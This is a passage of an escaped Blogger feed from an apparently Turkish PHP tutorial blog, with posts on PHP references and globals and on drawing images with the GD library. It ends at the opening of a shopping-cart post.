/&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  function fonksiyon(&amp;amp;$ic_deger) { &lt;br&gt;&lt;br /&gt;  $ic_deger++; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  $deger=5; &lt;br&gt;&lt;br /&gt;  fonksiyon($deger); &lt;br&gt;&lt;br /&gt;  echo $deger; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Yukar&amp;#305;daki  $deger 'in son de&amp;#287;erinin '6' oldu&amp;#287;unu g&amp;ouml;receksiniz. C ile u&amp;#287;ra&amp;#351;m&amp;#305;&amp;#351;  ki&amp;#351;iler i&amp;ccedil;in bu &amp;#351;a&amp;#351;&amp;#305;rt&amp;#305;c&amp;#305; gelmiyor olabilir. Ama biz bilmeyenler i&amp;ccedil;in  biraz derine inelim. Fonksiyonu yukar&amp;#305;daki gibi tan&amp;#305;mlamak fonksiyonun  i&amp;ccedil;indeki $ic_deger ile $deger de&amp;#287;i&amp;#351;keninin i&amp;ccedil;eri&amp;#287;ini fonksiyon i&amp;ccedil;inde  birbirine ba&amp;#287;lamakt&amp;#305;r. $ic_deger ve $deger de&amp;#287;i&amp;#351;kenleri fonksiyon  i&amp;ccedil;inde ayn&amp;#305; i&amp;ccedil;eri&amp;#287;e y&amp;ouml;nlendirilmi&amp;#351;lerdir. $ic_deger bu i&amp;ccedil;eri&amp;#287;i  de&amp;#287;i&amp;#351;tirdi&amp;#287;inde do&amp;#287;al olarak $deger de&amp;#287;i&amp;#351;keninin i&amp;ccedil;eri&amp;#287;inin de  de&amp;#287;i&amp;#351;tirmi&amp;#351; olaca&amp;#287;&amp;#305;ndan $deger global de&amp;#287;i&amp;#351;keninin i&amp;ccedil;eri&amp;#287;i de  $ic_deger++; i&amp;#351;lemi sonunda de&amp;#287;i&amp;#351;mi&amp;#351; olacak. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Yukar&amp;#305;daki olay akl&amp;#305;n&amp;#305;z&amp;#305; kar&amp;#305;&amp;#351;t&amp;#305;rd&amp;#305;ysa &amp;uuml;z&amp;uuml;lmeyin birka&amp;ccedil; kez okuyup uygulama yap&amp;#305;n anlayacaks&amp;#305;n&amp;#305;z. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;h3&gt;Ek Bilgi:&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;&amp;#304;&amp;#351;e yarayaca&amp;#287;&amp;#305;n&amp;#305; d&amp;uuml;&amp;#351;&amp;uuml;nmedi&amp;#287;im bir &amp;ouml;zellik olan reference return olay&amp;#305;n&amp;#305; da ele alal&amp;#305;m ve a&amp;#351;a&amp;#287;&amp;#305;daki kodu inceleyelim. &lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  function &amp;amp;fonksiyon($sayi){ &lt;br&gt;&lt;br /&gt;  $var = &amp;amp;$sayi; &lt;br&gt;&lt;br /&gt;  $sayi *= $sayi; &lt;br&gt;&lt;br /&gt;  return $var; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  $sonuc = &amp;amp;fonksiyon(5); &lt;br&gt;&lt;br /&gt;  echo $sonuc; &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Bu  basit &amp;ouml;rne&amp;#287;i sadece kural&amp;#305; g&amp;ouml;stermek i&amp;ccedil;in yazd&amp;#305;m. Fonksiyon tan&amp;#305;m&amp;#305;n&amp;#305;n  ba&amp;#351;&amp;#305;na '&amp;amp;' koymak fonksiyonun referans olan bir de&amp;#287;er d&amp;ouml;nd&amp;uuml;rd&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;n  g&amp;ouml;stergesidir e&amp;#287;er bunu a&amp;#351;a&amp;#287;&amp;#305;daki gibi kullan&amp;#305;rsan&amp;#305;z, &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  function &amp;amp;fonksiyon($sayi){ &lt;br&gt;&lt;br /&gt;  $var = &amp;amp;$sayi; &lt;br&gt;&lt;br /&gt;  return $var*$var; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  $sonuc = &amp;amp;fonksiyon(5); &lt;br&gt;&lt;br /&gt;  echo $sonuc; &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;"Notice:  Only variable references should be returned by reference in  /usr/vs/vs/reference.php on line xx" haberini al&amp;#305;rs&amp;#305;n&amp;#305;z &amp;ccedil;&amp;uuml;nk&amp;uuml; $var*$var  bir reference belirtmez. Ama sonu&amp;ccedil; yine d&amp;ouml;necektir. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Ayr&amp;#305;ca l&amp;uuml;tfen de&amp;#287;i&amp;#351;kene de&amp;#287;er atarken de '&amp;amp;' kullanmam&amp;#305;za dikkat edin. &amp;#304;&amp;#351;leri biraz daha kar&amp;#305;&amp;#351;t&amp;#305;ral&amp;#305;m :) &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $sonuc = 4; &lt;br&gt;&lt;br /&gt;  function &amp;amp;fonksiyon(&amp;amp;$sayi){ &lt;br&gt;&lt;br /&gt;  $sayi *= $sayi; &lt;br&gt;&lt;br /&gt;  return $sayi; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  $sonuc2 = &amp;amp;fonksiyon($sonuc); &lt;br&gt;&lt;br /&gt;  echo $sonuc; &lt;br&gt;&lt;br /&gt;  echo $sonuc2 &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Bu kodu incelerseniz &amp;ccedil;&amp;#305;kt&amp;#305;n&amp;#305;n 1616 oldu&amp;#287;unu g&amp;ouml;receksiniz. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Dikkat:  Normalde referans d&amp;ouml;nd&amp;uuml;r&amp;uuml;yorsan&amp;#305;z fonksiyonda '&amp;amp;' karakteri  kullanman&amp;#305;za gerek yok, PHP bunu zaten kendi anlayabilecek kapasitede.  Bunun i&amp;ccedil;in ekstra bilgi k&amp;#305;sm&amp;#305;nda ya zaten :) A&amp;#351;a&amp;#287;&amp;#305;daki kod yukardaki  ile ayn&amp;#305; i&amp;#351;levi g&amp;ouml;recektir ve hi&amp;ccedil;bir notice hata vs. vermeyecektir. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $sonuc = 4; &lt;br&gt;&lt;br /&gt;  function fonksiyon(&amp;amp;$sayi){ &lt;br&gt;&lt;br /&gt;  $sayi *= $sayi; &lt;br&gt;&lt;br /&gt;  return $sayi; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  $sonuc2 = fonksiyon($sonuc); &lt;br&gt;&lt;br /&gt;  echo $sonuc; &lt;br&gt;&lt;br /&gt;  echo $sonuc2 &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Bu  olay PHP5 'te kald&amp;#305;r&amp;#305;lm&amp;#305;&amp;#351;t&amp;#305;r ve '&amp;amp;' kullan&amp;#305;rsan&amp;#305;z size E_STRICT  d&amp;uuml;zeyinde bir hata mesaj&amp;#305; verecektir. Ayn&amp;#305; durum sadece fonksiyonlar  i&amp;ccedil;in de&amp;#287;il s&amp;#305;n&amp;#305;flar i&amp;ccedil;in de ge&amp;ccedil;erlidir. &lt;br&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;p&gt;&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  Fonksiyonlarda  global anahtar kelimesi asl&amp;#305;nda $degisken = &amp;amp;$GLOBALS["degisken"];  ile ayn&amp;#305; g&amp;ouml;revi g&amp;ouml;r&amp;uuml;r. $degisken de&amp;#287;erini unset etti&amp;#287;imizde global  de&amp;#287;i&amp;#351;ken de unset edilmez. Peki ya direkt $degisken =  $GLOBALS["degisken"]; yazarsak fark ne olur. Bu en g&amp;uuml;zel bir &amp;ouml;rnekle  anlat&amp;#305;l&amp;#305;r de&amp;#287;il mi :) &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $sayi = 4; &lt;br&gt;&lt;br /&gt;  function fonksiyon(){ &lt;br&gt;&lt;br /&gt;  $sayi = $GLOBALS["sayi"]; &lt;br&gt;&lt;br /&gt;  $GLOBALS["sayi"] = 5; &lt;br&gt;&lt;br /&gt;  echo $sayi; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  fonksiyon(); &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;bu kod ekrana 4 yazd&amp;#305;r&amp;#305;yorken; &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $sayi = 4; &lt;br&gt;&lt;br /&gt;  function fonksiyon(){ &lt;br&gt;&lt;br /&gt;  $sayi = &amp;amp;$GLOBALS["sayi"]; &lt;br&gt;&lt;br /&gt;  $GLOBALS["sayi"] = 5; &lt;br&gt;&lt;br /&gt;  echo $sayi; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  fonksiyon(); &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;bu kod ekrana 5 yazd&amp;#305;racakt&amp;#305;r. G&amp;ouml;rd&amp;uuml;n&amp;uuml;z fark&amp;#305; de&amp;#287;il mi :) &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Konuyu  burada bitirirken asl&amp;#305;nda bu makaleyi okuduktan sonra referanslara  ihtiyac&amp;#305;m yok diyebilirsiniz. Ama fazla bilgi asla g&amp;ouml;z &amp;ccedil;&amp;#305;karmaz. Yar&amp;#305;n  bir g&amp;uuml;n bir ba&amp;#351;kas&amp;#305;n&amp;#305;n kodlar&amp;#305;n&amp;#305; incelerken g&amp;ouml;rd&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;z referanslar&amp;#305;  hayda bu neydi diyece&amp;#287;inize beni hat&amp;#305;rlars&amp;#305;n&amp;#305;z :)&lt;br /&gt;&lt;p&gt;Kaynaklar:&amp;nbsp; Bu makaleyi haz&amp;#305;rlarken sadece php el kitap&amp;ccedil;&amp;#305;&amp;#287;&amp;#305;ndan yararland&amp;#305;m.&lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115971061196095786?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115971061196095786/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115971061196095786' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971061196095786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971061196095786'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/php-de-referanslar.html' title='Php &apos;de Referanslar'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115971052383241615</id><published>2006-10-01T05:47:00.000-08:00</published><updated>2006-10-01T05:48:49.050-08:00</updated><title type='text'>Php ile Grafik ( GD )</title><content type='html'>&lt;p&gt;&amp;rArr;GD DESTE&amp;#286;&amp;#304;&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  Windows sistemlerde GD deste&amp;#287;i i&amp;ccedil;in php.ini dosyam&amp;#305;zdaki ;extension_php_gd.dll sat&amp;#305;r&amp;#305;n ba&amp;#351;&amp;#305;ndaki noktal&amp;#305; virg&amp;uuml;l&amp;uuml; kald&amp;#305;rmam&amp;#305;z gerekir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Linux sistemlerde ise www.boutelll.com/gd adresinden, dosyalar&amp;#305; indirip derlememiz gerekir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;rArr;Grafik Olu&amp;#351;turuyoruz&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Grafik  olu&amp;#351;tururken Php ye bu sayfay&amp;#305; Grafik olarak kullanca&amp;#287;&amp;#305;mza dair bilgi  vermemiz gerekir, bunun i&amp;ccedil;inde header fonksiyonlar&amp;#305;ndan yararlan&amp;#305;caz.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?&lt;br&gt;&lt;br /&gt;  header("Content-type: image/jpeg");&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;header i&amp;ccedil;in type olarak image/jpeg kulland&amp;#305;k, bu ba&amp;#351;l&amp;#305;k jpeg format&amp;#305;nda bir resim olu&amp;#351;turmak i&amp;ccedil;in png i&amp;ccedil;in image/png kullanabiliriz.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;#350;imdi bir tane resim olu&amp;#351;tural&amp;#305;m.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Resim alan&amp;#305; olu&amp;#351;turmak i&amp;ccedil;in imagecreate(); ve (Jpeg format&amp;#305; i&amp;ccedil;in)&amp;nbsp; imagejpeg();, kulland&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z belli&amp;#287;i bo&amp;#351;altmak i&amp;ccedil;inde imagedestroy(); fonksiyonlar&amp;#305;n&amp;#305; kullan&amp;#305;yoruz.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?&lt;br&gt;&lt;br /&gt;  header("Content-type: image/jpeg");&lt;br&gt;&lt;br /&gt;  $resim&amp;nbsp; = imagecreate(250,250); // Bu fonksiyonla resim alan&amp;#305;m&amp;#305;z&amp;#305;n boyutlar&amp;#305;n&amp;#305; belirledik.&lt;br&gt;&lt;br /&gt;  imagejpeg($resim); // ve burda da boyutlar&amp;#305;n&amp;#305; belirledi&amp;#287;imiz resmi olu&amp;#351;turduk.&lt;br&gt;&lt;br /&gt;  imagedestroy($resim);  // Burda ise Resim olu&amp;#351;tukdan sonra bellekte yer kaplar. Bellekti  kaplad&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z yeri silmek i&amp;ccedil;in bu fonksiyonu kulland&amp;#305;k.&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;NOT: Resim olu&amp;#351;turken renk belirlemedi&amp;#287;imizde Php otomatik olarak Siyah rengini kullan&amp;#305;r.&lt;br&gt;&lt;br /&gt;Bu y&amp;uuml;zden bu php kodumuzu &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rd&amp;#305;&amp;#287;&amp;#305;mzda 250x250 format&amp;#305;nda siyah bir resim olu&amp;#351;ur.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;rArr;Renk kullan&amp;#305;m&amp;#305;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Renk kullanmak i&amp;ccedil;in imagecolorallocate(); fonksiyonunu kullan&amp;#305;yoruz. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Kullan&amp;#305;m&amp;#305;: $renk =&amp;nbsp; imagecolorallocate($resim,$R,$G,$B);&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;NOT: Renk  olu&amp;#351;tururken RGB ( Red Green Blue ) renk sistemini kullan&amp;#305;caz&amp;nbsp; RGB  hakk&amp;#305;nda bilgi i&amp;ccedil;in http://en.wikipedia.org/wiki/RGB adresini  inceleyebilirsiniz.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;rArr;Resmi boyamak&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?&lt;br&gt;&lt;br /&gt;  header("Content-type: image/jpeg");&lt;br&gt;&lt;br /&gt;  $resim&amp;nbsp; = imagecreate(250,250);&lt;br&gt;&lt;br /&gt;  $kirmizi = imagecolorallocate( $resim, 255,0,0 );&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagefill ( $resim,0,0,$kirmizi );&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagejpeg($resim);&lt;br&gt;&lt;br /&gt;  imagedestroy($resim);&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;imagefill();&amp;nbsp; &amp;#304;stedi&amp;#287;imiz koordinat&amp;#305; istedi&amp;#287;imiz renge boyamak i&amp;ccedil;in kullan&amp;#305;l&amp;#305;r. E&amp;#287;er komple boyamak istiyorsak 0,0 koordinatlar&amp;#305;n&amp;#305; veriyoruz.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Bu kodumuzun &amp;ccedil;&amp;#305;kt&amp;#305;s&amp;#305; 250x250 formatlar&amp;#305;nda k&amp;#305;rm&amp;#305;z&amp;#305; bir resim olucakt&amp;#305;r.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;rArr;Resimde obje kullanmak&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Obje olarak Dikd&amp;ouml;rtgen, Daire/Elips, &amp;Ccedil;izgi, Yaz&amp;#305;&amp;nbsp; kullan&amp;#305;m&amp;#305;na de&amp;#287;incez.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;#9658;Dikd&amp;ouml;rtgen&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Dikd&amp;ouml;rgen olu&amp;#351;turmak i&amp;ccedil;in imagefilledrectangle(); fonksiyonunu kullan&amp;#305;yoruz.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Kullan&amp;#305;m&amp;#305;: imagefilledrectangle ( $resim, $x1,$y1,$x2,$y2,$renk );&lt;br /&gt;&lt;div&gt;&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  &amp;lt;?&lt;br&gt;&lt;br /&gt;  header("Content-type: image/jpeg");&lt;br&gt;&lt;br /&gt;  $resim&amp;nbsp; = imagecreate(250,250);&lt;br&gt;&lt;br /&gt;  $kirmizi = imagecolorallocate( $resim, 255,0,0 );&lt;br&gt;&lt;br /&gt;  $mor = imagecolorallocate( $resim, 100,50,100 );&lt;br&gt;&lt;br /&gt;  imagefill ( $resim,0,0,$kirmizi );&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagefilledrectangle($resim,50,50,150,150,$mor);&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagejpeg($resim);&lt;br&gt;&lt;br /&gt;  imagedestroy($resim);&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Bu kod ile&amp;nbsp; X d&amp;uuml;zleminde 50 ye 150 ve y d&amp;uuml;zleminde 50 ye 150 aras&amp;#305;ndaki kalan alan mor renginde dikd&amp;ouml;rtgen yerle&amp;#351;tirdik.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;NOT: Koordinat belirlerken matematik te bildi&amp;#287;imiz koordinat sistemi ile ayn&amp;#305; mant&amp;#305;kla koordinat belirliyoruz.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Sa&amp;#287;dan sola&amp;nbsp; -&amp;lt;-------&amp;gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; x koordinati&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;yukar&amp;#305;dan a&amp;#351;&amp;#351;a&amp;#287;&amp;#305;ya y koordinat&amp;#305; ( yukar&amp;#305;s&amp;#305; + a&amp;#351;a&amp;#287;&amp;#305;s&amp;#305; -&amp;nbsp; )&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;#9658;Daire/Elips&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Daire veya elips olu&amp;#351;turmak i&amp;ccedil;in imagefilledellipse(); fonksiyonunu kullan&amp;#305;yoruz.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Kullan&amp;#305;m&amp;#305;: imagefilledellipse ( $resim, $x,$y,$W,$H,$renk );&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;$x  ve $y de&amp;#287;erleriyle olu&amp;#351;turaca&amp;#287;&amp;#305;m&amp;#305;z elipsin merkez koordinatlar&amp;#305;n&amp;#305;, $W  de&amp;#287;i&amp;#351;keniyle elipsin eninin boyunu $H ilede Yukseklik boyunu  ayarl&amp;#305;yoruz ( Haliyle Daire olu&amp;#351;turmak i&amp;ccedil;in $W ile $H nin e&amp;#351;it olmas&amp;#305;  gerekir. )&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;300x300 format&amp;#305;nda bir resimin tam ortas&amp;#305;na yar&amp;#305;&amp;ccedil;ap&amp;#305; 50 olan bir &amp;ccedil;ember yerle&amp;#351;tirelim.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?&lt;br&gt;&lt;br /&gt;  header("Content-type: image/jpeg");&lt;br&gt;&lt;br /&gt;  $resim&amp;nbsp; = imagecreate(300,300);&lt;br&gt;&lt;br /&gt;  $kirmizi = imagecolorallocate( $resim, 255,0,0 );&lt;br&gt;&lt;br /&gt;  $mor = imagecolorallocate( $resim, 100,50,100 );&lt;br&gt;&lt;br /&gt;  imagefill ( $resim,0,0,$kirmizi );&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagefilledellipse($resim,150,150,50,50,$mor);&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagejpeg($resim);&lt;br&gt;&lt;br /&gt;  imagedestroy($resim);&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;#9658;&amp;Ccedil;izgi&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;Ccedil;izgi (line ) olu&amp;#351;turmak i&amp;ccedil;in gerekli fonksiyon imageline();&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Kullan&amp;#305;m&amp;#305;: imageline ( $resim, $x1,$y1,$x2,$y2,$renk );&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;300x300 format&amp;#305;nda bir resme 50.50&amp;nbsp; koordinatlar&amp;#305;ndan 250.250 koordinatlar&amp;#305;na giden bir &amp;ccedil;izgi olu&amp;#351;tural&amp;#305;m.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?&lt;br&gt;&lt;br /&gt;  header("Content-type: image/jpeg");&lt;br&gt;&lt;br /&gt;  $resim&amp;nbsp; = imagecreate(300,300);&lt;br&gt;&lt;br /&gt;  $kirmizi = imagecolorallocate( $resim, 255,0,0 );&lt;br&gt;&lt;br /&gt;  $mor = imagecolorallocate( $resim, 100,50,100 );&lt;br&gt;&lt;br /&gt;  imagefill ( $resim,0,0,$kirmizi );&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imageline($resim,150,150,50,50,$mor);&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagejpeg($resim);&lt;br&gt;&lt;br /&gt;  imagedestroy($resim);&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;#9658;Yaz&amp;#305;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Resmimizde istedi&amp;#287;imiz koordinata yaz&amp;#305; yazmam&amp;#305;z m&amp;uuml;mk&amp;uuml;nd&amp;uuml;r bunun i&amp;ccedil;in imagestring(); fonksiyonunu kullan&amp;#305;yoruz.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Kullan&amp;#305;m&amp;#305;: imagestring($resim,$font(int),$x,$y,"Yaz&amp;#305;",$renk);&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;300x300 format&amp;#305;nda bir resme 200.200 koordinatlar&amp;#305;ndan ba&amp;#351;layan Mor renginde oCRaCy yazal&amp;#305;m&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?&lt;br&gt;&lt;br /&gt;  header("Content-type: image/jpeg");&lt;br&gt;&lt;br /&gt;  $resim&amp;nbsp; = imagecreate(300,300);&lt;br&gt;&lt;br /&gt;  $kirmizi = imagecolorallocate( $resim, 255,0,0 );&lt;br&gt;&lt;br /&gt;  $mor = imagecolorallocate( $resim, 100,50,100 );&lt;br&gt;&lt;br /&gt;  imagefill ( $resim,0,0,$kirmizi );&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagestring($resim,1,200,200,"oCRaCy",$mor);&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  imagejpeg($resim);&lt;br&gt;&lt;br /&gt;  imagedestroy($resim);&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Kolay Gelsin&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115971052383241615?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115971052383241615/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115971052383241615' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971052383241615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971052383241615'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/php-ile-grafik-gd.html' title='Php ile Grafik ( GD )'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115971045935758731</id><published>2006-10-01T05:46:00.000-08:00</published><updated>2006-10-01T05:47:39.686-08:00</updated><title type='text'>PHP Alisveris Sitesi Yapimi</title><content type='html'>&lt;p&gt;Asl&amp;#305;nda bir al&amp;#305;&amp;#351; veri&amp;#351; sepeti tasarlamak veritaban&amp;#305;ndaki &amp;uuml;r&amp;uuml;n  bilgilerine g&amp;ouml;re olur. Yani ilk &amp;ouml;nce &amp;uuml;r&amp;uuml;nlerle ilgili veritaban&amp;#305;n  tasarlanmas&amp;#305; en iyisi.&lt;br&gt;&lt;br /&gt;  &amp;Ouml;rnek bir veritaban&amp;#305;ndaki &amp;uuml;r&amp;uuml;n tablosunda neler olabilir 